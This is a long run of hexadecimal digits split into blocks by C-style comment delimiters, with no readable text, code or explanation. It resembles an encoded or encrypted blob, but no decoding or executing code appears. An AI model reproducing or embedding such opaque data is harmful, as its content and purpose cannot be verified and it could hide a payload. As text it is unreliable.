34c3aa2b487fcf4dc86eed26612e956d3f632f12237130a784529dfec73d261468174d84472f6a2fbf69959d3cf46ee03f0d027c17c610c0bbea57e2ba379048ff4c2b55f367db0775f16d8a7c7fca00e80f6b2072ede94ef5b0d8663589efe2bcee849477f195f3e55a5a8632b4e0d52a52ddb93c543dbcc5a0353279f2a60ba365cabc6219ce0aca034256f72977232da0e7fc607feda5c16a36217d3b637a47c38c120516fc57fbbae984f378eef40251f31d641725bcb43f3f228004c4428d9521d6a03349923410ba280d35e81d6a42b07380047956aa640b49eeb9a8de17a47488e36d805e445086020692cf4432455db4dd3bcad4c2f456170cb07af15075fd360451044774550422a9ef6e96143cae8e0ee8e0cc90bd7443421d987226149f9319280b53d72dbc8814b5903a20900c4f213c730da61290653cffb178a15257f0f1c04120b8bda7bead00e8d399f7417d9e3638d5047507d24e7a60ee110f98925c7271ab037bc6a67225b0b38f3cccf835e1e2a5991ff93a6754e459946bab2db7d22ec70567b1db4172e9f17c707951ff8f2616bf2abc086e7f36f966e4c6040985c5058b805e251443b576c305317918b5cf4309d6534675f386fd66d9718c056f3ae288247bf94198032a3271f2587f93ac77920bf79f46b14e92f76b4b20667ec050d0aac90585c8ea77d3c838825d32872461c3585820e689dff67521d75c592a4c5e61352cc5ddffe186b08e2783df7f8fe315a41fa358b2856cf1f3e23f9f1bc08a53f3f5407cbbaaaa48064dc0770f50a735c15b34c058abb438b8a044bc664eb5b06bd5a2b72f6410bd5b0a4e8405bc9fa8d3bfb0f75a28a0a7ba5fa269350c16bac5fc57e55e352b445d53bb95156b1f355bc9231b910c45a6fb99b1bfa5a4f4ff00112b8ad210387433e87c2d2deaed6178d758bac9a44638742ad04a42a7ed35da50d0ca59ec2eb0e277b75889040b7204b70401a1a495c8af54799647d005e868a78d2fde2bb362d86faeed53aed860a6815366187dde29e5071e55d4c17953d10e308fa05f15c22d110c817beeb9821e1ee9c49efdb885adb55379f0e696d15a0b26cc7b6c0da59266baa752d24f6a317a8e533f4ff877e1043a3ce171c897c11804ccfef9f8f484623b6b4aa44c208b63a3b1404ed16ba6ee35d5c2c9f670e8fd939f2e08527a48d3d166ce853492da68e1d2eb7241bb372081d85f8a0759c08fd416ff7d948105d4f5e11e9ee023f5cbb0c3c257beca6147f6e110f3e385480fe96b093f7a1f176a2c80a46a7f7c5f06407b436519323cc32bdf90805759e3eaca6ece2e1d569d5a52f1c0d16c30d2e8d1faf5ff6ed0b377d7c4413edfbc045bf8a0d5c5a409f855139165c54c99590b9f411b1f6501f9a5f060d259cd1407b97aa905eb1b37f*/
/*7c681aee6a5cb8a869d506de16dd7be3376bb8625acc657402c1e34f2e9734d0828a364f352fb529c8e6e991c2d89f5138f3d98756cb1abc98543d40739d6a5711fccf4939267281c0218196f8c4bcb1f182f1caeb79daaf59aec9d98e6515361df858eb75356e6c8a907844ffc5cfcc1ba09a99bbe013409ad4f4bad4401171a2ba543f10f1f3290b0be78d0f71de0156106b9b659c119b0623bc08846168498358b154e59a25b10c437bee977d0814bc81433237236ef903000eb82f2e297ea9c25142db34c6b2f094429aaa87de832516a6edec6b3d9f8ecb6416a37ba841f1cda8e31b4739a158ff58c6ba7077d9dc3afaa696e987334f23c31fc2e72636d1a92a08d43199171febda02408a6d3e4eb0c91859475817e9121680f2ca9c2b5a15bb4d466388e6dbea9abaac56d83e2f7fb979b1daa1336f886d5c9b29742c73b4bff5e7d9ef62388d566b6e63da2f978807922ad1405b362274952ff674255c7e4785af553afd2a452736a4263ca18e1ee9c7fff9bcec38e4d7b1fbe9767fd5d272a93424df32cde1f3d9fde15b16bb9cde0ea974971c8edb242ddf7983f213eb35038d61ca3e9a7b1a1cb37cb3c9c7a0d3f09d2dce856621c6568b37d0a1da1e0053e5a000744df642042b86dac434523c5342f936d4b437b73f9048b343506056518608b8349a4e2ac79a963892e2660e5da431e797501249ec495f53dc7e47a676054040e7efc848f38344dc3d75608015186ca7d41e30f4ccf96f3279960065dd0356f71153952cfcf876f9297fe4dfd580455454b80b1bae72bde100d9425d3bacc08af687a7dc1a09273e2999a6a20382fdd72a74c102053471f83c12da9afd70fcd67ba609cc67beb639b9e747f38e4dc5feed8e193a9fdbe9c7dec9beb5479dc90744b590ed30ebaa64776acb8c786ac1a4a8c78c5ef230ca60c04173c519353a1b5d59a7c84dac874d811df5af93b2991bbefe405d2036021c5c1024e2bf9a43e73215a49347cf7732a11c7ad52b60eddbb9aa0721f9f10fa2f7e33c3a32296ab68ea1f782593dab5f15b16fceb7734fcd40b0d64d2d8e31b7aa0ef54ab681acab1859e461b955fbd7e9699528abe5f4cc102dfea6b922464d37ba422063989dc8a8e9186669c16b60e13e95ced87fa13bde9cf19d9a0a554868d0180ce81a0956d003426f8568c25b9a8e1dfaabbf27d352ad8e1cd11d125b8882b1e3660d299214e1d9af2fd5d95a8f04072ee2f54d39806a2bc5e6cdf3c1746cc8aa9d8021d1e68b7268d142adaa557c02f47e07b3b022469b6698eb7a16a1eeea1fc8aca6ec23c3be42c7e3006fabc5d90e8c592cfe04bece94a719ec19dba1e48ee2dd315f380730ddacf50ead0f29426bc086a6c558dfb3f4dc0fa182a96046da87bb33d2ca51a2622bd7561f051034f2a091890faec58af58ca1b6904c97da77ce3990b2ef0e2863a03a2bfaa13668b0f152b373254a6dac41ca07b78d948349cfe1f66956f903fd26abb7f7762e86ab3ea9356958b93b73653fcf17b8945aaafd1039114527d6e03a0c1ae8786e81e01ae0034fbab5b7363fa3693aec531e66f296f4cf05a6196588ac432617f8228a51bb7fda16ec4082d6c80e9348e9e4dd3123a2d37f50ffc13e26ca3a08112a7877841d61592dbd42aabf8871ed5902bade1e47b309262b41549cdef4ea21f7c9cc9013e1ae1ed0277223dcc1e1958790885db74c3ed856d0313260a5cd9f21b863bf19c2415157d063b443dc1e82e54cf71e3e73b13b499b0eddd539c4a2f065dac1df2f4b0d971833f8f36149937560702b630d7ec7796ae693a6c8c00e596738c991c2b68273ad1bf43ddcd71a277973be4c684613a018ed8bd27a218b9a258a76783986ea6a81b0c923624df9fba3a674bcf3aba13799e20222deb59fa7a57a63a46173eba78a1dce9a127069e155cb61e32d5fbe7fe597c9e9f3e687f99596d4ed98fa48158c13153ba4b9508e8a934f6077361f3f86f7cd00c826a7182353a9670c66b442f7ea937c0d933e26a1e3785aa580372ed04eb00d43d24b6c0a05b5bc6f858cec7c8a231bc8d2b6e2167afe557b166e6f2f61dd56f0bd83b1b80ff20c9ea3191598158ad3b70b1df8103e52c28bad846cdfd02ab5aaff9f5acea3290ba5b14e44d3fd4599819372510e3671d79c1f698a4fd2ebf624999cf147e0e5cb7d831ed3ef0c9dc68631f32c2dc593d1ee65c34449ee9fb2f4e9f47ced46512186191186f23bb522a2abdb0cdcd46d11fb81414749dc296fba1002f29f9230848792beaa041c7e02279e7477f0889509ecc10b039108bd453c96359cb6f5767def8fc9ca42f5655ab88939a79ccf861bee9610d4336180a9d4974d317fca229daabfe32bf3d33d5aa1631f8975eac1a4164a60f2c5972a7e01d1e5381483135fc3fa87ee795951363a576ff39fa4263e68571f2ea1b9d3a4fa3056efc21aaa2fcf0a741884852c04d957327b3e3524330fda027d1b5bee2b5e8553c8e92171d510ba00b006dd3f9ac3e78818cf310a8220ee75755a9dfc9e45ce33972b803659a92b126a44e9fd0852ab175a6d5f18e7db7d67c89b32d6b2c24371f4a656d94f1662142f48abecddd244ae224cf3e9ef6ca23a134d1dee93d3d4213e90b134c27e644b9d320f4c8a0bfb5105c82ccf23eca9f677a1b0bf9bacebdfaddf4da8d201471aa1226e20d9b357e42dec40e24b125998847e6627f9d7d74ed87aa70c134d1feeb7f168fe7dc099f8eb16d55a014ae088cc9d47a5b8fab357a39904930dc3405bebdb82225f8f51c1190983f1f5086c5f3135bea7ff41ee*/
/*65e3f3859485d0d76cd70346da49c96a487b67ee86feafbf78820ae686fd303a6e3cb7bdc38dd316c2268728bf2bd1aa43937c0e07efd60a3342f19e3e413e8e5c79d3a2e0fabfad0a3390c04fa7568bae27337835745838a22797bce288e977cc808130255930450bc8408d2ce71c4cc200fc95e64fad46597ffb3122f54b1ef786c06017e9598211e835bef389f63f2d458e754594c40668a81d466ae547fe22c0a6db6a7a7b9fd089fa6846d26d454369f3975c9d5a347d15b180f0d69efad022e8cb3f3b99b10d587be8ec49332be7425322420af521faa16655661efddd4bd24507791d013d4802e6a86b3ac5e7bbb1fa88e1d2ecc96624df1fc61c028636e262137ae12086f53e739b59ea52f61d4bb94570f01c56aebe2f34edc512485f95f298ec325783a4fda7941a6fcc113bfcddcfb2c3ae110bd8ef14090acc969022699de61d2d0f7bbacf54dd977639d7f61044baaf0c34e647c7dfe59d42ddd58a8080f249e40d7fee9b2238da4b7ef5e51b869d3369d496f809044445698f3590105eafb54308480e92a51a53e3c2de5ec06a86b95a4f564aefa251bdd038a304b590b5907bbf0350a169220df240492755d85b562d6cd794080a06f6237ba35fa8e16ddbf4eb149260a14c13a9235502a4c296dc6bc16b0dad50c468f014be73270d8b01954932ff2a03f6c0b45c1e77aed2cab3310b9eef8b2c327fab6453684e096aace332c7f31ce7744b3a224b99ff850421a7dc47b5c47cdc25286174a4496d0f77d09967652865e9b5b404d016bb453ef13bb051c8ff58680b88e23f2a110d198d7dba43d85ce5376e408118a08948675963cdd942aae2f5ba1933d865605d4f47a5e48b8b4859c0a12ec87874644305b275d02135ed2fdcda4e709f39e8c26d69521643bba3333badf63958b1ac1b88510d8f1356bdc44da20d78b3c17d520f2c0b978d22df7480954aa11b55a3a457c444d27010057ec8b1f31a1a65c3fd6d3ccd007d082df397a908246130b107ab700bd485a7ac69d0da337bf1abc6ac96b16a24effdee36dd9a23f821975a7ebf65be8c3d070a68f106e10fcffdf569adb04fccc9fce6bcc44690a28050fb461aa5ba91cb26da36f77062eadd8fcbcbd48f5846eb9c3f6523c01b98abbf14c845b00823a9e949cf200a0d34a2564b6a5fe6313a07e0bc29f99bfb40350f40cbe912152fb81b2529e6251cc99dd3313b64549a9a6b7fe87d11c56ba92c7897e833cad423041cb3a015354981ca852f4db13eb4d66a8be688c7ffa313380f85c2f00d511f9e0d964cf4d3772467a7c7f8f49f9dedea9310bc2ea9dea2dfcfdbe48952685718ed17b5069b043c65e2a3b83ed63c8404819f2cd9f51f09245c5d11a5e8048d487122d7345fbc0d386d9bcf5b72fe037096ddff4320fbd3ae30d1b681a563ffa18f13a8a2d59fda3cceb4c259f0c0c0d5688f74d56f56f1ab36798bbc03c228a6fe0399029e8c363a11c2ee42aa61a9a4ec3b6b2ffcf19850d7781cebb35a0b1b4610b9a894c4215642a3250f23d99fbd32ab365695f3bcea09a5b5e2f30262c9d73474332f15e6a1b6c6a104d979ebe2a6bcf1d7b37bfddbb0055f3387401f743a0beda87d06218f4d0e7412b0ee7a9ae939942d90015ebc7926117cca38dbc49df1d935e1f7c21bde2f2c07fd2036868ddf439e3ad674d5e23faecb3b5bf1945f171cfb9eaa020c2ee89989772039ec1e180d6b040b6bee42441c3e94dff0ef5c9a30b0bf8974fa1c3af5be81aa569e15a958e7f005a974b5423151fe019a39b9825d4a9bcd067899b960a9154467c2747bd599bc24607201f50b229f52dd2863d1eb542cf2b26a245460137339463903847f666b6ac2f311228aa4a0986de8327d9db64f63a62422f9b74f0a37619ad71dce3a204f59b3086bb4d785330f89f87320f767cd997cca7e60824714c7390a11edee6af78b1086a6902f26671a14b76ecf1c41e030948c6ec4cb9f6355708bf0bfe054f4a6919fd5c70e6f15b814ff86cae6ee2135fee1911a4a5aea70010e27cf0532cbc6475cdfd142eaecbef4434e8344a69e1fa5404774230123eeee3b9c4370ee84ff862e07d2c0cee6b2b29fdb88569539ba5b241f1b7b36c91625f429090b8a47e7ff9f01ae3f1390c28b94e2f9d15d23907729d1f77fa5e0896b6bab67172654be03a14476c8613ad5e0ee6b1b26d59080717d62b19cd1c508dacc014677672412387ad7557f3ba2cfc45b2aec570be0cd299d28ca97fd56f74d1fd007db9c8fac5b4fc3334b4be9ac5c4ba1fcbd1d593b5a05405a860cf4638cd7818ce6821f8da214ef330c2c1f785b118b082350f44ff39a751f8575d36f1e2a29ed8d438cbad01dc174b8b4142290290a6104109721758f6d9ef4001fdb39c1e526780cff2be2f3b86d65261d44a8464f160059113f37058fda379e3b1f60606dd5dd0a5b739ab1265261c916c79b743e87da6967c6820b3acd2548949d9ebfe48b44b985f1c71584edc052eb10067108e2b44f6eb11852754353fc74bd98d72f56f02a1c50704d70fb1d0be85ddb3633416838bc8a0de77b7c3b12991c23ab9e83a4616e65ede0e052425626f3e000e0e5ea2e53fcc705dcdd7d3c20409a42cf909073f3e78ea5226b378c038c7279b128e141f74424af06bd96baaafe21f688396ed6004c3dc399b8f5894e5e43b837180a53e8b006fcc4f2aa8db0cede638ef607fa5c7fd9b2a31fe1db575a71102acb7ff1dc56ee2c08f31a5e9c10419a51804e121a3559586753e352fae77bf66eaf54f47f11481792791f318f04f1242f39d08cd24f*/
/*1bf4ebee4035c0d99fd819d181539391425b63d70b698d6ff197e098c84d25f034758ceca88c11bf56175407fb6aab3e475dab226a3c90b0c680a674c12b259d9cd1e30e51c3864ed5fa256837e5a7923c32f3e773c7ad14eadd304b3d59007d9a248559bd9e3b351d08b71cf15613365ca8f8489fd56a8fd2f984e6f149711b9420b4b9863918b89bb2aab1f793954f566768ee7a54571d65da8abc8b339e33a7176397598681130cc8744a095eed0ab07f783aed0fd116108bbdc57ffb971b6e496d9faab61164d38d1c511daa00d7d09ce4d3024eb55fec2df155f9b2bb0f7325dfebd21a69ec49ba1547139cf26c1d07ef1001120694ee721d2a0b7b393bfaa34f0fe41116f67492659044dbafcfc517ffc0f36a201d777c81a9e047249caf35762f142735347e1dd5f1480c298a04c06d8761f5066f5e2d01095f9291fc28d4a990d00ee91e5fe60f0fd1f581fbe8f96495fbd198b1bc1d26e1e46683f283bd06004510a01dc1f0e13ccd6fcbfc452400461e4f14a73f9b8ea0cdadf77732b7e77a10786d9083e13984f484c8a89243e91cd755d0669dec98604d83fb0746563a0a194e0398951eb1fe8eb31fd4753d175798f6090d2f7d558d5dfe247430a855a4cd975e57ef961ea264e9191ad9c29423499226fc9fef7cc8e4f99a9d727f856f48479ec8c5fa89e1aa2b5a0e08d33fb826cae5877e7852fdc7dcc1cfb801a4b93072edbac56055e818296ccc0a50d10a64e2c90a9f7c927843505b3dbab9666cb4b3d0d24f8594e74382d8cad6b39c0f0e7ad6d94b1f10942fdd833cc969ece325ee4056384de03bd59773ff3cdaef3af678144411ca9a9e958dd14eeb1d3fe84b9598c5285912979716397dfd165dc68290ec94bf904e69f3d49db712df09cc15e56dfbd52de2ea8d0b9f78068f7477d5dc31b41ea68489815b8b75f0e498621970ec8bf6f6beed63704d0fe9ee8a6609a9b9b177ad2fd7c36c9d8fd4cedea7a8cf53b5da2bb0184826f9330083e89f31ef4eb85cdc8285bd8de71df051246698c768dc7b685c9c0c0090a3f94ba7bb44247be46bf33101b158d729fe9df1e50855d514d13732eadbb44bec69e4d7f78268056f640c51313de36d2c8f16de511ad3ef96accbcbbf47840c0147124ca161ccc5a87267188cc04ab3c547e6687ce2632c98932a56e92dc45a604dae077dec029acf7ba01adb6057fe297b5f6bbcba2cbdc14ab9a31e96a81468e52bb0b48ba6fa678cf1a7a27c726dbd4d8e349a06e1df2f0fdf5d71138ae00e07395838e4ba4d79b1f98ede71889d39bb83ace175a51d176dd932b45ce98bf96419d2664eab1fb30e4445e3bc7f9cea7682807b90eecfbd80c10c3a5ec1820f0c5694f64955d02f0ccefcc8045ef0338bd605c223888f8de6cb999488b55d5613ae39a895e2f6e425132099c712c2842182743e480c5173a393fd7d004e034459c33d360cf62dbe0723b5137e7c287ba01cf22ad03a8e1bfaa862c7429a53e32c7b19a8d9b6f2e6708c9dd7442a25e1bd954fae75677a3c832b6d6bd5b58774e6183c7fb7b0b4d16b7582eaf0246f5921f05520cafb36e04ed6ec426b25d80a495368fdd91bdd1571845958059f8b6e89d69249b5a039d8fc2b5480b04410b4d77ab17bfe36899cbe7aeb8e900ff0bbed896d47d572f66e227ab2f4c6226f3d44dee8188e750533c1f9f624d041ef2d45326f386d7385144aa8ef930e2b4b3d25739b89b72adf002564b90343d3cdc189ddc15a30cac5d673ab805dbb54d080b96a4ac01f70caceb594aa86c08811798d70098974e8140becc84f65f62e31cedafbfa9aadd42e8a15b53fe1b89d0b9ebb4112b935c3b95405b7a0d477e6ea4b8f1dfcbd9eceb3e64fa64d068bf40d4785c82a8dbce04b38c69073eec71f843a0ce8d5f2ab238a96cf33902e01919a59c93cf1f5f236c7bd311b2589a3c41bfa621d08c0948555904a1057c401210716579a372d11abfc62b00d5cceb95abdc97f7cbf9c330e7fd71dcd9963dac5244ad19b7e3bc48df345edb096e5ed6032db4b32264336026cf319dc53bda883484d9364d5de601962cb5c58d7e416bf55d80c304ab2b8158afd1f1efad18efbd572e0633919e30cd3dfc03c723b60bc8159b62d836bf13ecf56c94f5c870ed42a010f3fab85241730b30b4f56924dc6602508f684babf9d361cf598b485f5efb897422997993e255c810a017003620366d7d8a7f22363c6c2e087fcaeca31edd189bf14cd68a54992b1ce73c16ead0e773df5c8d9ef2d95777ee6da47fbf9bcf5cf6d7f8f4a35398f853660d8189928b1bc3b0f6fd2c18aa97d9615f6fe191951317ded3f7276297ad265c204bce5faffc7e35480fe645fbeb288c6d5a6d549c8fef1a50f0bf5c5319668eff25e65bf61e7b7778d0802eb16ea0106624c875a6c5be0bd7bed1f05460371362d5968f665f71f95a8ac6ce4223a9e2c841378ba1594ac8a3bfcda3ae7d88b6d77856e2fa05cb2142cfca1da1f772f1df310f85bc1bf8d10cd7786fafc577d7884cd8a0483cbb6afdee0b4198c857162142529bb7f67c6bfb71bda19c608db1ab08472b4378e3de68d9a76701e27b4183d2bee9e472d42fd0b17edf8d8a464763bae380ff57c2ac675e57db516803f868f894091c655da82465a3b369805dc0638f55bb138faa0a84d126e9659d84ecdb680118a41f52780845e4bd8c4d4e4c9defe7ac0ac7d0365da710b6ed80b63425763019f8d97d868518e8e7f75065a5abc438fe6adf34035518bab8d80eb45800bda87663e43c5f8467523638b0dc10c9f5ae8fe88ba*/
/*bbdbfc93a18e6aaec48d01a203ce27375239f4cfcb4fb8e836cb6fc4bc8833ed0d2d841680975ae3fd11adb621c547beada6e565b4339d9cf9cd7ef5db08dfc43045728f70a9ce05a6749455bac96eeb4a10d60dcb243ace5170d22585736d2d08720cf91d67f0dbdc36521aa8cbd046db3bdbe9e5cd8092c9cf6c1854005090da44145f7bdef6f9fb6570cce3e24ae386b36c248f3640542c00b10eedf5b30fef3712cb31c59f2ac8401b2534bd155f75ffc348d020c42f2332d72a0f996531ff3b77512ac0b7d7cc2e7f993aeb9dbd2aae82960db1bebfa9035138636fcd710372eded33b7c18a552f9d33f491fdfa14a78c46a199a917d2aa09efebe462a25e84c7516b41e3f3c8fc68089a158109c39c3935897221fab218c776cc9a57459233760321e3378b183dba72ce1689463f9c8d404dec294fa1f2a74ac43c93f64326c34a74b06f12df07272dad7b4ef8fdcdeca16bef68501c6e4ffa3934912a996ac375e53899861697040c5344917f23fe77bd8c172af96adefba911071abe04e0efdb1ad026e2c42796271fcb470db433a2e7f6b488ca69b9bcd6b37b0bd899fa07e90a06dced0fa5b4ca99a56038550125e259779ec3aaca2af96f373e3f263d489ea7828b3c49961b6a385f58b4192b92e3005553b0178d95b651ae277c6cfecc748c05a9e2c72d0792c9811dfd8e0e6f7fe83b1a8985e875a19e00908951071ba3ec8032eaf294deae6efc02153fd178a19cb0b90e14a58f4a77f61a8dbedf60be797885b038bb24cd97d3ade9705763f9fc149f3b21c41cdc3c26227ff19a52b4ea66b4b94993e668f9705f848c70f267ca554b222fa3d4e2ca8ad530fdae646dba7b7cd6ff6c288bde319a394b6d39d246da33ee09686cc3ab6019fd956decc854b35b3d0b6611366eff87fad4a019e64e10514d95ddc872d50d921af5e0364425bd02e65eff89ff68e8abfded7e5178e171f04d6229b1b7a7034f594adc3bc31784e49b72e60462c9e4ba8b0ad7cdfd8b92fe978ef81526cb2b74a3f7a9a408d7fe152d5d6c8461fb11c37a50001ae36c896df0e1a8fed27718d3048b7ded8e3dd0548ee7917864c7d7c1c2828edaac6738b61b47baf0af82f791652fec1f6823155bb87a7d8be2af1847fc63dc3f40f848d7e62cffbd794cda3c4b12b82164bec9e22f44775d632f188d3eb57094a3224887eebf967f1693864fc42ac82324687abc5fceb5ea3d0f83c2107de230cc78ed9408a98740732022e3af6bae4ef660ed6ed144256251d47f8a57982ee4b2ce045295033e1d0f7325cda0a70a97f454a0046ab1ff31b6dc1ba33efe7e563e99dcc0f782d35c1a8d7c794514b5a1b4dbf4dfa73e4ba620ef638b7d8f50776525bc76c706add5dab59b5b367fa16d399d37f541854de1fdbe730c97dcd1e5a0e37cc4f4e3720301c0f4a778609112fb4bfd3afc7c7463d86d54386db3486783648645afef8f7c6eb78088864b3064867836e96f8b5f275e48a9d8b1c464d82bd78ad61a92c2f0c309fad0ae51df5642ebdbb60b9324f7e7f4873df00177cbac0c6c520f3a286fd8314fa04cf8a80f11d405667abef354b1478e0ce7d1e7df2e01ac16a76875d39441441c976514eb858084e8ed8ae7b47195bf550cba47f7005cdf6afc34d49f59cd8a2a66b574189d72c11ee24a39dd3e97c4a404fbeacc1c755c58bc75a5867beeed03326dd7859cb4003f1b76c420b7383743df5a390d605b21d5c526d2640c01dc2ef3133b08ea8aa3c2faf4debbc9bfbe7548e9621a835af8c978d9b7da2342ae000da237953e35c9c4dd8afa48a4a86c37f44f66640b97242f6c286fdeec0af00f10698514d748c0ce9ece0f5620d85c3f8d27fa679212e3d23b96618b384d942c28c2dcb9b0783805016dc680be5fa8c4f91617e11902955b68197c09077306817ad60f36e233ebb39cac3823877ef3ff35d6d4e79d02dddc977d604f72fcd4569215d30189c63cac3bb39fc2721213396994f8d4a58abf18aa4c0ae48c83938f3d61e89a522ba4d3994306e836eba7e501609207dd6696581f7dc7bd318d19c80458020b045e221ff218e29f1470e7eb927e04730bdbbbcb1201e4d939aca79bf46e756217b85c467a5e49370b106ac8af6811514ab809eaf6c0080f09f09c66aca5ab6bf8681ee4992e248348c6f73368880fec57fefe1c60ac064ce3f3357cc391986c863971fc826ba98ae53efbe3a1b99702beee03e09b7d721083711df9a99224c54543aa627134e5445c24f07c822d95df5cb2951bd41e37efc56552c5f7d08a8ec0ba4e13c696674bbdf143a3b3b2813dca139e5a17acbf9662c3e158e87c350da67ebe7679ace645c7a31373399e7518c3920388f6c326faf0a87499034c8e8e5a240df39b0175fe141336829a267a3737148e49765c3838829f80cc16891218e5d7bbe990f2d880e0ef1f76e341a68c45350cf44f54e0a052a70400318b705826ca5b687b3cf1903a23ecf947b075e88c2e84415d28321e07931599007ff5974791506f3f81e5f9893c478b75f5587ba154b9621d0cb3b89db6536645059e2aad4076a40b00c77af4ca62932e82e0f46ff7f15ca0c7df068db8e2d57aaf43e86a1241c0a5b815ff0149eba4ad8bddb2442aedb495bfcb0f5a5057ba9a296b9ab643b0a5bacd1f734a4a50b68b15c80f9ace281a249138e52177f09481c68535ace798052781c85f7998b51cf5a79096aa5a94ebc7aade6602e4032ca84b63a2f5c25ad8bfd736ef711df5480c7588bee251e682f4df4a7ee4f36277865408bf140b453f4408dad9b7c4887c31*/
/*ff32a6ed931de7b345a48d85daef273bee922a762ea490c9e200135431777a6105e235c5e51c1c9256c63a1c262938a6c0d559b285dbcb4da0403a3ffde4614f6dc782401f853ab42347199147ee24b529754ceab4aa39ff51fe7dd471f0c2827a0af517950e377720810237d84dbc2ebd7b30987d914f8930c8b1e21283d71da9197ec2f9efadfcff841d49cc94040d44f845d7fc085c11da2d9c03f14e14f1bcbb1f3fc714ab8fce0918d6348399e796e4920a7841b5c8dee1c97bde2039cf882650c24a49a0f77a0c9d1ef25caab9925e3528b340d50e79a294ff0b581e47739097d6002ab8dd994f354911941b78dac08ab5fce973942041dbc9076d7374aa7e0face8197abd6e299488a46c5f0d14273db35b9091f70ee41f57a0059a0eacf4bf70bd9c57c1031773cde45e856c582fb248eaa4e81ff809cb9de8ae437053e1cf416ce44849e4fe1517d04c5a6180b03d0d929010511b2ce27436ffba81d3e1c2c5f94342c500aa050822e1e8b2c8b2ab5995eaa806ece6d33b3e5078a2cda91448d20298786ea5f8fd7ff3e6934c75a600be11ae0c59c284047bfe6a53d8ddfd4fdeaaa8b719d95c85690070cbdef65c3c8653634981a1de476f0bbd935e040744d5486bdef4ab156f894ba33451b1f401b0d28d646b0168804e695f42ef78fd6a6f4c3a8150ed9347a4e77d25eb8d71ca9de3bf87c0feb4a5e7d1d373c18715a9e23ea56f9f302683449ee235cf4598e2584716ec9d128be909adabe037dd5164a5b691babdaa754870db8afd0b35f31ddaaca998890a8682a2af06f1a4ededba45aaa31e937576f50b06513db0d892db514df59af8760391e161ceaacb2ec26afb9fcb78eaaa2b728970a59e266b8e3b7d187e418c97d763159e0f613c6941ae717bdf7c0d3abe0592161f96d562fca5f2bf1950540d8ac43ce95143a431d8b9c68e5321a5fd06415bed4167962010aaafaadd6280b3ec353b145b8782711c61024c12ff307faab5015c511d28e7ac58fd0be2909aa5c56294a364258e93639fc2f7bd9131f5dce1013b27db6c3a67eae0345fcf7394baf6930fb39d3922f1857eb4e0f4389dafa1a87d237ba153bac2e4cc21b9f43f7f4db4983126886e4bdd0d5cc7b92bd274672efd8984b35b2d2882a5c4fc0b6396391f3102a8b424ec9f515df39d7f213be2ea6d026db8e961ba432985b8c9c0ba00c8aea9456f08bb68cd5cd0711253a8db80dd735cef3c6f186a0e7f19dcc0a357ed46b812f56adaf8229c524d0bfc25266df726f99c3e44efec4a7a6780f975fe573101408269e52f61b8fcd88deb498dbb60fcb77915df1dc197fbc1111c873cbd0a59ab61970b4e2e751a80f88f869d86f599d340ce2c318a40e70df35fbc05166c95db4212643fdbde2a2cfe4cc00d1afd1122525608131b8bec14ee7c852f9e7908084d890ac10bd3cad99275ca1c5e21c02ee876942ba92031c1fda756982c0d1edb72deb7f9ab6eade57f837cc773676c6c605e2e2645ee10d68f859a28a996f2d71bb562154f484ed30d38503bca3cc625179dde62637c5635de33294d870303ffdc70bd109f4cefa46b3b4eaba9f76d04a5f83b3f4405c55ea173e10e5cd621722c9dfbe40f4af277231a1dfb0c88331205f0b9b29a55ebd3693c91d832bff8a82c5e1d722473f97e3fc00ca02e233bb8945bd092382c8429fb8eb1df3a475964963352e48b32710b09a24d2635f93e305db0838e7705738d3ba9e8942f7ed8aa6ecec6cf95714612cd74811b6400a87d4cd66133cbf9af2d5df1aa41fef18fa34722a4e1a3939544d41c05a2168193ccbcd3e2fd1f3c3b39feb24756909878a67bf4af3d51bb93645bd9318b4eafe4fc4702b6b5e87be7b85956bf57ecbe191af550243eda53a45ae9a24718a33e14b3d2c2311b444a624e444437170a651975abd8960980f87d8236f3baa196e334767dd0701d552da5befcaea11ab3821aaca9c735a98711f3aba54c92fea4f4af9cf20b2839999f1af11ac62c65a1d00787e4d430278ab999385ba96342b20ebc787f1b082b1387b76fe86555a08b58862b5a02b89409eb7d56106469639194bf4e1a60db50e3cec9b99f2304469b12de7d3e26c4b92e8beb4de9b14916bd6f6d6b0bb6789f48b21cd6aa36987a4c8582f7ce186a8c006cb70f1ee5abe00ccfef140971596bc764eb942d47c38cb5e2304b28ba51be37b8bad56456a92b2fa29bf930674cf0a5ac67fa4a6edb639bbb80682ba4bca851efc9a8266daef148a1567aa40e226df2a126e540ec97cfd856f6ef0b5372900187a9607f44d2735b52453a96bdccc00cfb4eaabd78e5bbfb48b0da45f9b90e1a8c03a16aa8464a7ac6359a4bba32574d9bd2c1a8442d04bbbaa4968f3631d2d9b2efa4c56cb771e65388f4fa461443eef499edbe87832fd177cb822cc11793a19d0ced868b2e77f02fc2702e0d82671337f87ecea7c47592bb1c35ba91531854fcb0d67987bc680eac87cd96d6cc994b7a06040a6092f7db041d429bc7e3078f9ab858daa082ef8feebcf35761241a5cdaa7dc2a6b81ccb433de4b9c62380137f4c551ad877ac701416b698efb2b2a0353d005c6e8e67dae301db30c60e8dfc3520aa1c3a636e49910b8d97409e6c0f9ec3c0e56ae6928dbc43883b219ea2a46953ca8411d53c668e1ea972c500cb67553cb910a125565d0f9832d306f17768306e84e5d7e5ddeff1628cc3d0bc64e0924125ab350b419cd2edd5b2b258b5cd8ce1b88b5980eef4f85cc955c97b8e7a01917f4cbb3e0ce7c99162bfc0d6a9142972bf352be82e2df2e9747*/
/*a0740d21814bc25e12186a5a81c7a5597c968804ff58924b73b30fafc34be0666f767590767b4d93ff7a2a38ca604864c49eaa2183a5cc152bfac5a3049e381b9e253faa5b9039981c8707fb6819ad7853b5b6bc3abbb04dd5ee0bfe02e954e39002e351cb171e6b0ca81b3093e683c1e1cc695882d8c3a14f58c68de8ad120b550ea3275e7a6076ef1ed6879b404e7488e5b098f9128d7b8323f20a74625fa549a90201cc738c51cbd5e0ea79b64883b86854e8a322d589b57d2c8b986ac52a64f2aa5e96fcfcc3b42607fe22c4d39bca7e1fc2fbf37581016d7940f35a9aa0d8cf0b61b61db59b1600bb14d0098ba29986bb78252a1d581c530bc179d123694055725c6d0574a9f8cd6123000750e9ad3d3c0eb8a47ab59eaeb8d11327840d9a47e98b7385a24b4d9aaffdab27bd34a92a97a9f21b8aaa03bc49c944ac02d6265870451052899e0ef449b663fdb1d47994152057e8b10b619fe1ca82ecf3cee124435f0a843d6466001b76e4815711e29ae450bf6ef3a1ad86974ab144c637faf2fbf6bec804561dce19dd99a0547cceec686ad70a96cd2a3f664b8cc3aeef7752f87405c5b24849c9a425ea238d0473842b69b6a964f91599452929319deae75203e420fec0f6bf8c4c61c9fd1b41e102780196c75731fdd538b7dc3899c0323c4ca655b223b71b72d778c579e03436a664f9b7bdd073a0162d5665b7bb7848